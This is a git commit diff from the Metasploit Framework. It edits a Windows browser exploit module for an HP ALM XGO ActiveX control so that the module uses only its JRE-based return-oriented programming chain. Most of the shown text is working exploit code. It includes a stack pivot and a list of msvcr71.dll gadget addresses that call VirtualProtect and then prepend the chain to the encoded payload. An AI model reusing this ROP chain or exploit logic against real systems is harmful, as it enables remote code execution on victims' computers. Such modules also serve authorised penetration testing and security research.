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metasploit-framework
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Only JRE ROP is used

unstable
sinn3r 2012-09-24 10:21:02 -05:00
parent fe63c97005
commit 57b3aae9c0
1 changed files with 30 additions and 33 deletions
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63
modules/exploits/windows/browser/hp_alm_xgo_setshapenodetype_exec.rb
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@ -39,7 +39,7 @@ class Metasploit3 < Msf::Exploit::Remote
'Author' => 'Author' =>
[ [
'rgod <rgod[at]autistici.org>', # Vulnerability discovery 'rgod <rgod[at]autistici.org>', # Vulnerability discovery
'juan vazquez', # Metasploit 'juan vazquez' # Metasploit
], ],
'References' => 'References' =>
[ [
@ -191,40 +191,37 @@ class Metasploit3 < Msf::Exploit::Remote
code = payload.encoded code = payload.encoded
# ROP chain generated by mona.py - See corelan.be # ROP chain generated by mona.py - See corelan.be
case t['Rop'] exec_size = 0xffffffff - code.length + 1
when :jre junk = rand_text_alpha(4).unpack("V")[0].to_i
exec_size = 0xffffffff - code.length + 1
junk = rand_text_alpha(4).unpack("V")[0].to_i
stackpivot = stackpivot =
[ [
0x0c0c0c10, 0x0c0c0c10,
0x7c342643, # xchg eax,esp # pop edi # add byte ptr ds:[eax],al # pop ecx # retn from msvcr71.dll 0x7c342643, # xchg eax,esp # pop edi # add byte ptr ds:[eax],al # pop ecx # retn from msvcr71.dll
junk junk
].pack("V*") ].pack("V*")
rop = rop =
[ [
0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN 0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
exec_size, # Value to negate, will become 0x00000201 (dwSize) exec_size, # Value to negate, will become 0x00000201 (dwSize)
0x7c347f98, # RETN (ROP NOP) 0x7c347f98, # RETN (ROP NOP)
0x7c3415a2, # JMP [EAX] 0x7c3415a2, # JMP [EAX]
0xffffffff, 0xffffffff,
0x7c376402, # skip 4 bytes 0x7c376402, # skip 4 bytes
0x7c351e05, # NEG EAX # RETN 0x7c351e05, # NEG EAX # RETN
0x7c345255, # INC EBX # FPATAN # RETN 0x7c345255, # INC EBX # FPATAN # RETN
0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN 0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN
0x7c344f87, # POP EDX # RETN 0x7c344f87, # POP EDX # RETN
0xffffffc0, # Value to negate, will become 0x00000040 0xffffffc0, # Value to negate, will become 0x00000040
0x7c351eb1, # NEG EDX # RETN 0x7c351eb1, # NEG EDX # RETN
0x7c34d201, # POP ECX # RETN 0x7c34d201, # POP ECX # RETN
0x7c38b001, # &Writable location 0x7c38b001, # &Writable location
0x7c347f97, # POP EAX # RETN 0x7c347f97, # POP EAX # RETN
0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll] 0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
0x7c378c81, # PUSHAD # ADD AL,0EF # RETN 0x7c378c81, # PUSHAD # ADD AL,0EF # RETN
0x7c345c30, # ptr to 'push esp # ret ' 0x7c345c30, # ptr to 'push esp # ret '
].pack("V*") ].pack("V*")
end
code = stackpivot + rop + code code = stackpivot + rop + code
return code return code